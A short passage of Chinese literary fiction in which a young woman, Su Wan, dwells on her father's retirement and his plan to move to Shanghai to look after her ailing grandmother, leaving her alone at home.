她的脑子里转着父亲说的话——“今天开始,我退休了。”“我准备回上海照顾你奶奶。”这些句子很简单,没有生僻字,没有复杂的结构,但她在心里把它们翻来覆去地念了好几遍。她知道家里会有一段时间只有她一个人了。不是“可能”,是“一定”。父亲去上海,不知道要待多久,也许一个月,也许一年,也许更久。奶奶的身体不好,年纪也大了,身边不能没有人。父亲是长子,这是他的责任。苏晚知道。 她躺下来,把被子拉到下巴,被子软软的,凉凉的,带着洗衣粉的味道。她闭上眼睛,想睡一会儿,但睡不着。脑子里是昨晚的梦。